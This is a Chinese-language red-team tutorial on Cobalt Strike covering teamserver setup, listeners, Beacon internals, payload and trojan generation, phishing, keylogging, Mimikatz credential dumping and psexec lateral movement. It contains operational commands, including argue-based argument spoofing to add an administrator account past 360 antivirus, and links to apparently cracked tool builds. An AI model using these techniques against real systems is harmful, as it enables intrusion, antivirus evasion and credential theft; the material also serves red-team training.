红队专题-Cobalt strike从小白到飞升手册

红队专题

在这里插入图片描述

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

大概流程:
启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透

提权及插件加载
信息收集命令

web方面:

对开启的web服务进行管理、
提供Web以供下载某文件、提供Web服务,
便于下载和执行PowerShell Payload 、
启动一个Web服务以提供自签名Java Applet的运行环境、

Cobalt strike渗透测试先进威胁战术

在这里插入图片描述

Artifact套件

https://www.bilibili.com/video/BV1yu4y1Y7Dp/?spm_id_from=333.788.recommend_more_video.13&vd_source=f21773b7086456ae21a58a6cc59023be


Artifact-kit 20230919 独家中文汉化,内包含cobaltstrike4.9.1 下载 github 


https://github.com/mgeeky/cobalt-arsenal

https://github.com/inepts/cobaltstrike4_8

介绍

4.0 2019年12月2日 更新 Cobalt Strike 4.0 手册
奇安信 A-TEAM 团队的 CS 4.0 用户手册
https://blog.ateam.qianxin.com/
https://github.com/QAX-A-Team

Cobalt Strike 是一款 美国Red Team开发的 商业GUI框架式 优秀的渗透测试工具协作平台 简称CS

主要用于执行有目标的红队行动攻击和模拟高级威胁者对手的后渗透行动。

可以利用网络漏洞获取主机权限后、从一个强大的图形界面控制所有的活动。

Cobalt Strike 前身名为 Armitage(一个MSF的社区版图形化界面工具)
因此可见,Cobalt Strike 与 Metasploit 的兼容性十分良好.
Cobaltstrike大家可以理解其为Armitage的商业版。

Metasploit(MSF)是一个免费的、开源的可下载的框架,旨在方便渗透测试,它是由 Ruby 语言编写的模板框架,具有很好的扩展性,
便于渗透测试人员开发、使用和定制工具模板

早期版本CobaltSrtike依赖Metasploit框架,
而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用.

在这里插入图片描述


扩展性很强,整合各种平台,独立的框架,不依赖于其他框架提供了丰富的第三方接口,
可以添加私人定制的自定义功能插件 来丰富CS的功能以及攻击效率。



①Cobalt Strike可以使用AggressorScripts脚本来加强自身,使其更加丰满,能够扩展菜单栏,视图Beacon命令行,提权脚本等;
②Cobalt Strike通信配置文件是Malleable C2,你可以修改CS的通讯特征,Beacon payload的一些行为;
③Cobalt Strike可以引用其他的通讯框架ExternalC2
ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。

 拥有多种协议主机上线方式
 Cobalt Strike可以生成不同类型的shellcode,用于与目标系统建立通信和控制。 

 核心组件是 Beacon,一个可以在内存中执行的动态链接库(DLL)。

    它集成了
    多模式端口监听、
    远程控制、
    信息收集(获取一些系统信息,比如系统版本,Flash版本,浏览器版本)、
    服务扫描、
    内网渗透、
    快速内网提权、
    自动化溢出、
    java执行(自动检测Java版本并利用已知的exploits绕过security)、
    端口转发、
    横向移动、
    进行长久权限维持、
    凭据导出、
    socket代理、
    数据渗出、
    office攻击、
    生成exe、powershell恶意木马文件、
    文件捆绑、
    托管网页攻击、
    浏览器攻击、
    网站克隆(可记录受害者提交的数据)、
    发起社工钓鱼攻击、等功能。



可以调用Mimikatz等其他知名工具并且可以作为团队服务使用
因此广受网络安全人员喜爱。

项目官网:https://www.cobaltstrike.com

使用注意事项


    
    流量特征很明显,
	蓝队成员在流量中发现相关特征   那么基本也就宣告了个权限的丢失,
    而且还有可能被疏远反制。
    
    需要对CS进行一些修改
    和对VPS的地址进行保护,
    
    尽可以降低被发现后造成权限丢失和被溯源反制的事情发生概率,
    加大蓝队的溯源难度。

功能集架构

在这里插入图片描述

credentials

logonpasswords 在view——>credentials里可以看到抓取到的账号密码

Port Scan

portscan 169.254.95.0-169.254.95.255 1-1024,3389,5000-6000 arp/icmp 1024

Intrumentation & Telemetry  「终端行为采集 Agent & 云端行为分析引擎」
Instrumentation 
指的应该是安装在目标主机上的各类日志收集与监控类工具
Telemetry 
指的应该是将这些监控类工具所产出的各位监测日志进行归一化、汇聚到一个统一分析引擎并等待引擎的研判结果这类的过程。


 

一场深思熟虑的对目标的攻击始于
侦查。

信息收集模块System Profiler

是一个 web 应用
用于客户端的攻击面。从侦查流程中收集的信息会帮助你分析以及做出最好的选择。

进行的信息收集主要已钓鱼为主,利用一个钓鱼网站,
当点击了之后会根据useragent等传输信息来判断一些基础的信息,记录点击者ip地址和目标。


 





在这里插入图片描述

在这里插入图片描述

Local URI不需要改动
Local Host写成服务器ip地址
Local Port可以更改,
Redirect URL是代表重定向到另一个网页,以便于更好地隐藏自己
在这里插入图片描述
这里可以查看配置过的 网址
在这里插入图片描述
查看日志
在这里插入图片描述在这里插入图片描述
在这里插入图片描述


武器化。
将一个后渗透 payload 与一个文档或在目标上执行
此 payload 的漏洞利用相结合。
Cobalt Strike 提供将普通的文档转为武器化 Artifacts 的选项。
Cobalt Strike 还提供以多种形式导出后渗透payload、Beacon 的选项,可以结合此工件集以外的 artifacts 使用。


投递。
使用 Cobalt Strike 的网络钓鱼工具 
武器化文档发送到目标网络中的一个或多个人。
Cobalt Strike 的网络钓鱼工具将保存的电子邮件重新用于像素级完美的钓鱼。

异步通信。
使用 Cobalt Strike 的 Beacon 来控制你的目标网络。
这个后渗透 payload 使用一种低频次且慢速的模式,高级威胁中的恶意软件常使用这种模式。 
Beacon 会通过 DNSHTTPHTTPS等方式回连(团队服务器)。
Beacon 还可以经过常见的代理配置回连至多个主机来避免阻塞。

想要检验目标的攻击溯源分析能力,
可以使用 Beacon 的 C2 扩展语言功能。
此功能中,通过对Beacon 重新编程、让流量看上去像一些知名的恶意软件或者融入正常流量。

https://github.com/rsmudge/Malleable-C2-Profiles/tree/master/crimeware
GitHub 开源 C2 拓展文件项目中的 crimeware 文件夹,就是通过配置 C2 拓展文件、让 Beacon 的流量特征看上去像Zeus、Asprox 等知名恶意软件。可以达到掩盖、伪装 Beacon 行动的目的。

在这里插入图片描述

Beacon 优越的自动化
基于命名管道和 TCP sockets 之上的对等通信模式可帮助攻击者进入受害者网络,
然后继续进行主机发现
抓取信任关系和证书、密码哈希、访问令牌和 Kerberos 票据等凭据进行横向移动。
 




user-exploitation工具

来展示有实际意义的业务风险。

Cobalt Strike 的工作流程使得在受害系统内部署键盘记录器或截屏工具非常简单。

使用 Browser Pivoting 去获取到受害目标Internet Explorer 上记录的网站的访问权限。
这个 Cobalt Strike 独有的技术在大多数站点都可以生效,并且可以绕过双因素验证。

在这里插入图片描述

报告功能

Cobalt Strike 的报告功能重建了 Cobalt Strike 客户端的参与度。
可以提供给网络管理员一个活动时间表,这样他们可以在他们的监控设备(比如一些流量监测系统)中发现攻击痕迹。
可以将 Cobalt Strike生成的高质量报告作为独立报告提交给客户或将其用作正式文档的附录。

贯穿上面的所有步骤,你需要去了解目标环境、目标防御情况,以及在资源有限的前提下选择最好的方
法来达成后渗透目标。

这个过程就是规避。

提供开箱即用的规避方案不是 Cobalt Strike 的目标。
Cobalt Strike 提供的是极大的灵活性,在配置和执行攻击行动的选项等方面都具有很大的灵活性,这使
得此软件适用于各种环境和目标。

Cabaltstrike3.13版本


3.13版本文件架构如下



│ Scripts 用户安装的插件 
│ Log 每天的日志 
│ c2lint 检查profile的错误异常 
│ cobaltstrike 
│ cobaltstrike.jar 客户端程序 
│ icon.jpg LOGO 
│ license.pdf 许可证文件 
│ readme.txt 
│ releasenotes.txt 
│ teamserver 服务端程序 
│ update 
│ update.jar 更新程序 
└─third-party 第三方工具,里面放的vnc dll

在这里插入图片描述

安装和更新

Strategic Cyber 责任有限公司发行了适用于 Windows、Linux 和 MacOS X 的 Cobalt Strike 软件包。
要安装 Cobalt Strike,只需将其存档解压到你的操作系统上。

Cobalt Strike 系统要求

java环境

Oracle Java 1.8,Oracle Java 11, 或 OpenJDK 11。
如果你的系统上装有防病毒产品,请确保在安装 Cobalt Strike 前将其禁用。

开启Cobaltstrike teamserver和运行GUI界面均需要Java环境。

运行「更新」程序

发行套件包含 Cobalt Strike 启动器、支持文件和更新程序。
不包含 Cobalt Strike 程序本身。你必须运行更新程序才能下载 Cobalt Strike 产品。
在这里插入图片描述

使用你的 license key 更新你的团队服务器和客户端软件这两个组件。
Cobalt Strike 按单个用户授权。团队服务器不需要单独的 license。

团队服务器与客户端

CS组件分为客户端(Client)与服务端(Teamserver)。
cobaltstrike.jar是客户端,teamserver是服务端

服务器组件,也就是团队服务器,是 Beacon payload 的控制器,
也是 社会工程功能的托管主机。
团队服务器还存储由 Cobalt Strike 收集的数据,并管理日志记录。
必须在受支持的 Linux 系统上运行。

服务端是一个,客户端可以有多个
团队可进行分布式协团操作。
可以让多个攻击者同时连接到团体服务器,共享信息。

要启动一个团队服务器,使用 Cobalt Strike Linux 安装包中的 teamserver 脚本文件。

当团队服务器启动,
它会发布团队服务器的 SSL 证书的 SHA256 hash。你需要给你的团队成员分发这个 hash。

当你的团队成员连接团队服务器时,在身份验证至团队服务器前、他们的 Cobalt Strike 客户端会询问他们是否承认这个 hash 。
这是抵御中间人攻击的重要保护措施。

Linux下启动teamserver和客户端

①cd切换到Cobaltstrike目录下

②执行命令 启动服务器端

 chmod +x teamserver

运行 teamserver


  ./teamserver <host/teamserver_ip> <teamserver_password> [/path/to/c2.profile] [YYYY-MM-DD] 
团队服务器的启动命令包含两个必填的参数和两个选填的参数。
第一个必选参数是团队服务器的外部可达 IP 地址。

Cobalt Strike 使用这个值作为它的功能使用的默认主机地址。

第二个必选参数是密码,你的团队成员将使用此密码从自己 Cobalt Strike 客户端登录认证连接至 Cobalt Strike 团队服务器。

第三个参数是选填的,这个参数指定一个「C2 拓展文件」



第四个参数也是选填的。
此参数以 YYYY-MM-DD 的日期格式指定结束日期。

团队服务器会将这个结束日期嵌入到它生成的每个 Beacon stage 中。
Beacon payload 在此日期后将拒绝运行,并且在此日期后
如果这个 Beacon payload 醒来也会自动结束(对应 Beacon 会话中的 exit 选项)。
 

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

③执行如下命令即可看到GUI界面

Javaw -Dfile.encoding=UTF-8 
-javaagent:CobaltStrikeCN.jar 
-XX:ParallelGCThreads=4 -XX:+AggressiveHeap 
-XX:+UseParallelGC -jar cobaltstrike.jar

在这里插入图片描述

Windows下启动teamserver 和客户端

①下载keytool.exe并将其复制到Cobaltstrike文件夹下,链接:

http://www.onlinedown.net/soft/614989.htm

②切换到Cobaltstrike目录执行如下命令:

Keytool.exe 
-keystore ./cobaltstrike.store 
-storepass 123456 
-keypass 123456 
-genkey 
-keyalg RSA 
-alias cobaltstrike
-dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"

③执行命令

./teamserver.bat 8.8.8.8 123456


8.8.8.8为你的服务器外网IP123456为Coabltstrike的客户端密码。

在这里插入图片描述

这样,服务端的Cobalt Strike部署完成。

④双击cobaltstrike.bat,连接对话框填写服务器外网IP和teamserver密码,即可登入:

在这里插入图片描述

在 Host (主机)字段指定你的团队服务器的地址。
团队服务器 默认开启50050端口 ,用来给客户端连接使用,
没有必要修改这个默认端口。

除外还需要备用一个监听端口用来接收shell
部分vps做有安全策略,需要手动开启防火墙上的端口策略

User 字段填写你的昵称,当你进入团队服务器之后会显示此昵称。

可以将此字段更改为
你的外号、称呼或幻想的黑客名号(如 Snowden 斯诺登)。

Password 字段填写团队服务器的共享密码。


按下 Connect 按钮来连接到 Cobalt Strike 的团队服务器。


如果这是你第一次连接至此团队服务器


Cobalt Strike 会询问你是否承认这个团队服务器的 SHA256
hash。如果你承认,那么按 OK 

然后 Cobalt Strike 的客户端就会连接到这个团队服务器。

CobaltStrike 也会在未来的连接中记住这个 SHA256 hash。
你可以通过 
Cobalt Strike→ Preferences → Fingerprints 来管理这些团队服务器的 hash。

在这里插入图片描述

团队服务器 记住你的信息。

从连接对话框左手边选择一个团队服务器的profile(连接信息),
使用它的信息填充此连接对话框的字段。

你也可以通过 CobaltStrike → Preferences → Team Servers 来管理此列表。

在这里插入图片描述

登录成功后,可以看到如下界面,
主要有 cs基本设置、视图、攻击、报表等功能
在这里插入图片描述

分布式和团队行动

使用 Cobalt Strike 来协调红队的分散行动。

使用一个或更多的远程主机分阶段的筹划 Cobalt Strike 基
础设施。

启动团队服务器并让你的团队与其建立连接。
在这里插入图片描述
一旦连接至一个团队服务器,你的团队将:
使用相同的会话
分享主机、捕获的数据和下载的文件
通过一个共享的事件日志交流

Cobalt Strike 客户端可能会连接到多个团队服务器。

通过 Cobalt Strike → New Connection (新建
连接)来初始化一个新的连接。

当连接到多个团队服务器,一个切换条会出现在你 Cobalt Strike 窗口
的底部

在这里插入图片描述
「钓鱼」、「攻击」、「后渗透」、「长控(持久性)」。

这样的命名可以反映此团队服务器在一场红队行动中的作用。架构多台团队服务器,
分解整个攻击链,这是分布式行动模型的基本思想。

这个切换条允许你在活跃的 Cobalt Strike 团队服务器实例之间切换。

每一个团队服务器有它自己的按钮。

在一个按钮上点击右键、选择重命名来使这个按钮的名称能够反映这台团队服务器在你行动中的作用。
这个按钮名称也用于在 Cobalt Strike 活动报告中标识团队服务器。

当连接到多个团队服务器,

Cobalt Strike 会汇总所有它连接的团队服务器的监听器。
这种聚合允许你从一台团队服务器发送引用了托管在另一台团队服务器上恶意网站的钓鱼邮件。

在你行动的末期,Cobalt Strike 的报告功能会查询所有你连接到的团队服务器、合并这些数据来描述一个完整的事件。

攻击模块 生成木马

HTA木马文件、
office宏病毒文件、
各种语言版本的payload、
USB/CD利用自动播放运行的木马文件、
捆绑器、
可执行Payload-exe等
在这里插入图片描述
在这里插入图片描述

  • 生成一个分阶段的可执行文件
    在这里插入图片描述
  • 有exe和dll格式的选择
    在这里插入图片描述
  • 添加一个监听器:
    在这里插入图片描述
  • 选择一种payload listener
    在这里插入图片描述
  • 设置端口
    在这里插入图片描述
  • 点击生成
    在这里插入图片描述

客户端靶机上线

在这里插入图片描述目标上线意味着我们已经可以执行目标服务器的系统命令,操作主机的信息收集、以及内网横向穿透。

用户接口

Cobalt Strike 用户接口分为两部分。

接口的顶部是会话或目标的视觉化展示。
接口的底部展示了每个你与之交互的 Cobalt Strike 功能或会话的标签页。
你可以点击这两部分之间的区域、按你的喜好重新调整这两个区域的大小。
在这里插入图片描述

工具条

Cobalt Strike 顶部的工具条提供访问 Cobalt Strike 常用功能的快捷方式。
熟悉此工具条按钮会提升你使用 Cobalt Strike 的效率。
在这里插入图片描述

会话和目标以图形可视化可视化展示

Cobalt Strike 有多种可视化展示,这些不同的设计是为了帮助你的行动中的不同部分。

你可以通过工具条或 Cobalt Strike → Visualization (可视化)菜单在不同的可视化形式之间切
换。

在这里插入图片描述
切换回来
在这里插入图片描述

右键点击目标,可以对它进行各种各样的攻击和手段
在这里插入图片描述

目标表

目标表展示了 Cobalt Strike 的数据模型中的目标。
此目标表展示了每个目标的 IP 地址,它的 NetBIOS名称,以及你或者你的团队成员给目标标记的一个备注。

每个目标最左侧的图标表示了它的操作系统。
带有闪电的红色图标表示此目标具有一个与之通信的 Cobalt Strike Beacon 会话。

在这里插入图片描述
点击表头字段( address )来排序主机。
高亮一行并右击来打开一个菜单,此菜单有针对这台主机的操作选项。
按住 Ctrl + Alt ,然后通过点击来选择和取消选择某台主机。
这个目标表对于横向移动和理解你的目标网络很有用。

用户驱动攻击

获取主机的桌面截图

屏幕截图
右键 --> Explore --> Screenshot 或者 beacon 中输入 Screenshot 截图
在这里插入图片描述

截图的查看在 View --> Screenshots 中查看

键盘记录

在 Process List 选项卡中,最底下一层有 Log Keystrokes 选项。其对具体的进程进行键盘的使用记录。

端口扫描

右键 --> Explore --> Port Scan。在跳出的界面中设置扫描的一些参数。

命令:portscan <ip 或者 ip 段(- 表示段)> <port 或者 port 段,具体的用逗号连接> <协议类型 arp|icmp > <最大线程数>

文件管理

右键 --> Explore --> File Browser 查看靶机的文件系统。可以增删改查。

Virtual Network Computing

远程 VNC

右键 --> Explore --> Desktop(VNC) 可以远程控制靶机电脑
http传输,速度非常慢,而且可能连不上

浏览器代理

右键 --> Explore --> Browser Pivot。选择一个靶机来进行浏览器代理。
成功后,在 beacon 框中有代理的 ip 地址和端口。

任务处理

beacon 中输入 jobs 可以查看目前运行了哪些在执行命令。
jobkill <JID> 终止一个任务。

插件加载-权限提升

Access-Elevate

在这里插入图片描述

插件脚本管理器

Ladon

探测多网卡主机
Ladon 10.10.168.100/24 MS17010
Ladon枚举远程主机网卡信息 OXID定位多网卡主机

Cobalt Strike 可通过它的 Aggressor Script 语言来为其编写脚本。
Aggressor Script 是 Armitage 的Cortana 脚本语言的精神继任者,虽然这两者并不兼容。

通过 Cobalt Strike → Script Manager 来对脚本进行管理。

github上面下载优质的cs插件Script,点击load上传本地的插件cna格式的脚本文件
在这里插入图片描述
在 Cobalt Strike 内有一个默认的脚本,定义了展示在 Cobalt Strike 控制台的所有弹出菜单和格式信息。
在这里插入图片描述

通过 Aggressor Script 引擎,你可以覆盖这些默认设置、根据你的偏好个性化设置 Cobalt Strike。

你也可以使用 Aggressor Script 来给 Cobalt Strike 的 Beacon 增加新的功能和使特定的任务自动化。

要了解更多关于 Aggressor Script 的知识,请查看此文档:
https://www.cobaltstrike.com/aggressor-script/

添加提权脚本

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
红色闪电包裹的主机 提权成功了。 显示了system权限
在这里插入图片描述

sleep 指令间隔时间

在 session 中,可以设置 beacon 的休眠期,其中的时间表示多少秒后 beacon 执行命令。
同时也可以在 beacon 中输入 sleep <秒数> 来设置休眠期。
在这里插入图片描述

命令执行

在这里插入图片描述
interact 互动 可以执行相应的命令来对主机进行各种操作,点击interact后,
输入help就可以看到cs自带的命令

getuid
net view
获取域控的信息:net dclist

在这里插入图片描述
在这里插入图片描述

探针当前网络架构
有域环境的话,显示的内容
在这里插入图片描述

有域控的话,显示结果就是域控DC的信息列表
在这里插入图片描述
Windows 自身命令 加 shell
在这里插入图片描述

目标信息总结表(自动记忆保存)

在这里插入图片描述

用mimikatz抓取主机上的密码信息

右键,Access->Run Mimikatz
在这里插入图片描述

在这里插入图片描述
获取到系统的账号密码,为进一步的横向移动做准备
运行Mimikatz 要先提权
(admin、system)权限才行,普通权限是执行不了Mimikatz的

凭证信息

视图(view)->凭证信息
账号和密码就会全部显示在表里

在这里插入图片描述

查看主机的文件和文件夹结构信息

Explore->File Browser就可以看到系统的所有文件
在这里插入图片描述
在这里插入图片描述
还可以上传文件,创建文件夹等各种操作

复制,下载,执行,删除
在这里插入图片描述

横向移动

在这里插入图片描述
在这里插入图片描述
前期的信息收集中,所有的主机信息(包括内网)都在目标Targets里

Jump。 列出各种横向的方法,比如psexec (一波横向抓域控和域内机器密码)等,还有扫描Scan等等。
psexec进行横向
选中psexec后,点击刚刚收集到的主机信息
(通过Mimikatz获取的账号与密码等,也可以自己尝试填)。
在这里插入图片描述
选择刚开始就创建好的监听器Listener和选择的主机Session,点击Launch发射
在这里插入图片描述
离DC越来越近,拿下域控,渗透结束。
在这里插入图片描述

argue参数污染

 
argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
execute net1 user test test123 /add
execute net1 localgroup administrators test /add


argue 进程参数欺骗

argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数

argue [command]
argue 命令 取消欺骗某个命令参数

利用这个也可以绕过360添加用户(非核晶模式非x86)比如:
argue net1 /hello /hello /hello /hello /hello
run net1 user admin 123451 /add
注:假参数需要比真命令强 

https://blog.csdn.net/qq_44657899/article/details/118388706
https://wbglil.gitbook.io/cobalt-strike/cobalt-strikeji-ben-shi-yong

Listener(监听器)

Foreign Listeners (外部监听器)

 
foreign主要是提供给外部使用的一些监听器(可以理解为木马传输的管道),
比如想利用CS派生一个meterpreter或者armitage的shell回来,来继续后面的内网渗透,
这时就选择使用外部监听器。实现Cobaltstrike与MSF和Armitage的联动。

专门用于对其他对象身上发生的事件或状态改变进行监听和相应处理的对象,
当被监视的对象发生情况时,立即采取相应的行动。
在许多的渗透测试工具中,例如empire,metasploit,cobaltstrike中都有Listner的存在。
用来接收目标主机权限的模块。

创建/配置Listener的步骤:Cobaltstrike-->监听器
 
根据shellcode 的 Listener类型,
选择合适的传输协议(如HTTPHTTPSDNSTCPSMB等)
 windows/beacon_dns/reverse_dns_txt  
 windows/beacon_dns/reverse_http  
 windows/beacon_tcp/bind_tcp  
 windows/beacon_http/reverse_http  
 windows/beacon_https/reverse_https  
 windows/beacon_smb/bind_pipe  
 windows/foreign/reverse_http  
 windows/foreign/reverse_https  
 windows/foreign/reverse_tcp
连接到Cobalt Strike的监听器。

配置好这个listener名字、外网IP和端口(不能冲突)点击save即可保存
在以后生成Payload的过程中即可使用该监听器。



根据shellcode的配置,发送一些基本信息(如系统信息、用户名、进程ID等)给Cobalt Strike,
并接收一些指令(如加载插件、执行命令等)。 

根据shellcode的功能,执行相应的操作(如创建反向Shell、注入VNC、上传下载文件等),
并将结果返回给Cobalt Strike。  

Cobaltstrike3.13版本,其中内置了九个Listener。

在这里插入图片描述


Listener 可以看作为与 Beacon 相反的一种形式,
Beacon 负责命令执行,并将数据回传,
而 Listener 负责整合其他框架或会话。
总的来说,Beacon 属于对内监听器,Listener 属于对外监听器


常用于将 Cobalt Strike 与 Metasploit 框架(包括其他支持 MSF 框架的产品)进行整合,
最终实现信息整合与 Payload 分发等等功能


Pivot Listeners

(透视监听器)
Pivot Listeners 与对等 C2 的概念密不可分,
Pivot Listeners 支持绑定 Beacon 与 SSH 会话,
绑定后可以对他们进行反向连接,从而减少 C&C 框架中的连接数量



Beacon

在这里插入图片描述


Beacon的中文名为信标  为CS内置“窃听器” 
Beacon 是 Cobalt Strike 运行在目标主机上的 Payload ,工作方式与Metasploit Framework Payload类似。
当我们在目标系统成功执行Payload以后,会弹回一个beacon的shell给CS服务器。
在隐蔽信道上为我们提供服务,用于长期控制受感染主机。

Beacon的功能包括以下几点:

使用HTTPDNS检查是否有待执行任务
可连接到多个C2域名
能够在分段传输后自动迁移 
可以配合各种方式(可执行文件、Word 文档、目标主机上的漏洞) 来传递 Beacon 

Beacon 的安全特性

在这里插入图片描述

 如果有人劫持了你的通信流量,并可以监听到你的Beacon向Team Server传回的数据


Beacon 的安全设计其实与 OPSEC 这一概念是密不可分的,
OPSEC 的全称是 Operations security,OPSEC 本质上就是在行动阶段就将对立方作为假想敌融入行动计划。

早期的远控没有考虑到被对立方发现、溯源的可能性,长期直连受控端,最终导致行动暴露

Beacon 技术最早实现应该是 2017 年泄露的 CIA 的蜂巢(Hive)计划,
里面的一项分支技术叫做蜂巢信标基础设施(Hive Beacon Infrastructure),感兴趣的可以看一下这个文件
https://wikileaks.org/vault7/document/hive-Operating_Environment/hive-Operating_Environment.pdf

列举几点 Beacon 的安全设计:
Beacon 有重放保护机制

Beacon 的任务请求和任务输出都是被加密的
使用团队服务器的公钥加密传输的元数据,只有团队服务器才能解密这些信息   
Beacon stage 在连接时会验证Team Server
传输 Payload 到目标系统时,会验证团队服务器密钥,确保只接受来自团队服务器的任务

Beacon 设置睡眠(Sleep)和抖动(Jitter)时间,
Sleep 控制 Beacon 在再次请求前必须睡眠多长时间,
Jitter 会改变睡眠时间,从而显示出随机性 

Beacon stagers 没有任何安全机制

Raphael在设计Cobalt Strike的时候已经充分的考虑到了它的安全性问题


当你启动Team Server并创建了Beacon Listener时,Team Server就会创建公钥对来保证后续传输过程的安全性。
我们以分段传输payload为例,详细讲解一下Cobalt Strike的安全特性。


生成 Beacon 负载的两种方式

stage 方式是指将 Beacon 负载分为两个阶段:
stager 和 stage。
stager 是一个很小的程序,用于连接到 cobalt strike 服务器,
下载 Beacon 负载(stage),并执行它。
stage 方式可以适应不同的攻击场景和大小限制。


stageless 方式是指将 Beacon 负载和其配置打包成一个自包含的文件,
不需要进行分阶段的加载。
stageless 方式可以避免分阶段加载过程中的风险和干扰,但也会增加负载的大小。

stager下载stage

公钥也会被一起发送:

在这里插入图片描述

stage准备check in

 


第一步就是要发送关于beacon session的元数据(Metadata)元数据中包含了用户、PID、电脑名称、IP地址等等基础信息,
同时元数据中也包括了Beacon stage创建的一个随机会话密钥。

为了保证安全性,Beacon stage会使用公钥加密元数据(含会话密钥),这意味着只有Team Server才能够解密该数据包。 

在这里插入图片描述

从Team Server下载任务

 

团队服务器会使用会话密钥加密这些任务,Beacon stage也会使用会话密钥来解密任务列表。

在这里插入图片描述

返回任务结果

Beacon stage也会使用会话密钥对任务输出加密。

在这里插入图片描述

Beacon的工作原理

在这里插入图片描述

 通过TeamServer生成了shellcode/beacon文件后,并在靶机上执行该文件,会产生以下行为:

会在 C2 上下载载荷执行, 即 Stage 过程, 
Stageless 则省去了这一步.

会主动向我们提前设置好的 Listener 发送 有关 Beacon 的信息
如系统类型, 版本, 当前用户, 称之为 Metadata.

之后, Beacon 根据设置的睡眠时间进入睡眠状态, 

攻击者通过TeamServer发现目标机器已上线
 


Team Server 控制器接收到请求后会检查是否有待执行的任务,

如果有
C2 就会响应发送 Metadata 的请求
将任务(异步或同步)下发到Beacon。
Beacon 将会收到有关 Task 的具体内容和唯一的 Task ID, 并依次执行任务.
 
 
执行完毕后, Beacon 将各 Task 回显的数据与对应的 Task ID 依次上传至 C2, 然后再次进入睡眠状态.
    

其中 Beacon 发送 Metadata 时一般使用 GET, 
上传回显数据时使用 POST.

Beacon 的生成模式

Beacon的生成有两种模式

在这里插入图片描述

stage (有阶段)

Beacon会分段的加载shellcode

具体表现为,通过不断的向Listener发起请求,最终获取一个完整的shellcode并执行

stageless (无阶段)

生成时则包含完整的shellcode。

Beacon 的通信模式

Beacon 的通信分为以下两种:

异步式通信:

 
 异步模式下通信频率低、速度慢,

Beacon 固定一段时间(由 Sleep 时间决定,可调整)向 Teamserver 发起通信,主动请求任务列表、接受本次命令并回传上次执行命令后的结果
然后进入SLEEP状态。

在这里插入图片描述

交互式通信(Sleep 0):


实时控制
由 Client 发出的指令通过 Teamserver(或再经过外部 C2)直接转发给 Beacon 并执行命令

Beacon 的分类

大致可以将 Beacon 分为以下四类:

  • HTTP (S) Beacon
  • SMB Beacon
  • DNS Beacon
  • TCP Beacon

HTTP Beacon 和 HTTPS Beacon

在这里插入图片描述

 
HTTP Beacon 与 HTTPS Beacon 的差别仅仅是在通信协议上的不同,
相比 HTTP Beacon ,HTTPS Beacon 多了 SSL/TLS 协议,可以保证数据传输中信息不被截取或发生中间人攻击等



传输层安全性协议(英语:Transport Layer Security,缩写:TLS)
前身称为安全套接层(英语:Secure Sockets Layer,缩写:SSL)是一种安全协议,
目的是为互联网通信提供安全及数据完整性保障,可以将 TLS 看作 SSL 的加强版本

Cobalt Strike 4.5 版本 HTTPS Beacon 使用的是 TLS v1.2

一般情况下,使用 Get 方式请求任务,使用 Post 方式回传数据,通信大致过程如下:

在这里插入图片描述

SMB Beacon

在这里插入图片描述

 Windows 命名管道(Name Pipe)
在介绍 SMB Beacon 前
Windows 命名管道是我们必不可少的前置知识储备
因 Cobalt Strike 原生仅支持 Windows ,我们这里只介绍 Windows 的管道技术

命名管道,顾名思义,就像是数字世界中的孪生兄弟,与我们日常生活中看到的管道有着相似的概念。

一个管道具有两端,一段负责向管道写入数据,另一端负责从管道读取数据,

在 Windows 中存在两种管道,即命名管道和匿名管道,具体特性如下:

命名管道(Named Pipe):适用于持久性、跨进程、双向通信的场景
匿名管道(Anonymous Pipe):适用于临时、有亲缘关系的进程间的单向数据传递

亲缘关系:当一个进程(称为父进程)创建了另一个进程(称为子进程),这两个进程之间就存在亲缘关系,父进程创建子进程后,子进程通常会继承一些父进程的属性和环境

匿名管道由于其仅能在本地使用且只支持单向通信的特性,在像 Beacon 这样的应用场景中无法满足需求,
而命名管道的双向且持久的特性为 Beacon 类似的通信需求提供了合适的基础,
以上几点注定了 Cobalt Strike 会选择命名管道


SMB 协议
SMB 协议和 Windows 命名管道的关系可以类比成交通规则和交通路网,
Windows 命名管道相当于一条条点对点的公路,但是单有交通路网是无法进行交通运输的,
有了交通规则,即 SMB 协议才可以实现数据的传输


SMB 全称是 Server Message Block,该协议最初由微软开发,

用于在Windows系统中实现文件和打印机共享,后来被广泛用于其他操作系统和网络设备中,我们常用的内网目录共享有些就是通过 SMB 协议实现的

在这里插入图片描述

 
前提条件:
1.具有SMB Beacon的主机必须接受端口445上的连接。
2.只能链接由同一Cobalt Strike实例管理的Beacon。


SMB Beacon 使用命名管道并通过一个父 Beacon 进行通信,
需要连接到Parent Beacon使用,所有任务均从parent Beacon接收,并通过parent Beacon返回任务结果。

命名管道是Windows进程间通信机制,允许两者间通信、互相查看和操作对方的文件。
Cobalt Strike使用这种方式在进程与进程或主机与主机之间通信
管道通信的进程可以是本地主机上的两个进程,也可以和远程主机上的进程通过网络进行通信


SMB Beacon 一般在面对域渗透有机器不出网的场景使用率较高,

并且与 Cobalt Strike 中的生成 Payload 的操作是兼容的,

简单来说就是使用可以 SMB Beacon 来 Cobalt Strike 原生携带的工具执行各种攻击和渗透测试操作,而不会出现兼容性问题,

但某些需要分段传输 Payload 的功能如:

packages 模块、Web Driveby 模块需要用户进行额外操作

隐蔽点对点通信
(Beacon Covert Peer-to-Peer Communication)

使用 link [host] [pipe] 命令

可以使一个当前的正在控制的 Beacon 连接到等待连接的 SMB Beacon ,

连接后现有 Beacon 和 SMB Beacon 的操作将会同步


当机器 2 无法直接与 Teamserver 通信时,便可使用 SMB Beacon 来带出机器权限

注:

目标机器必须开启 445 端口才可使用 SMB Beacon
如果需要手动运行 SMB Beacon ,需要从一个父级 Beacon 连接到它,
并且这两个 Beacon 需要属于同一 Cobalt Strike 主体

一旦 Beacon 使用了这种连接方式,无法再使用 DNSHTTP 协议进行通信
SMB Beacon 同一时间只能连接一个父 Beacon,

切换父 Beacon 的时候需要在原 Beacon 上先执行一次 unlink 操作
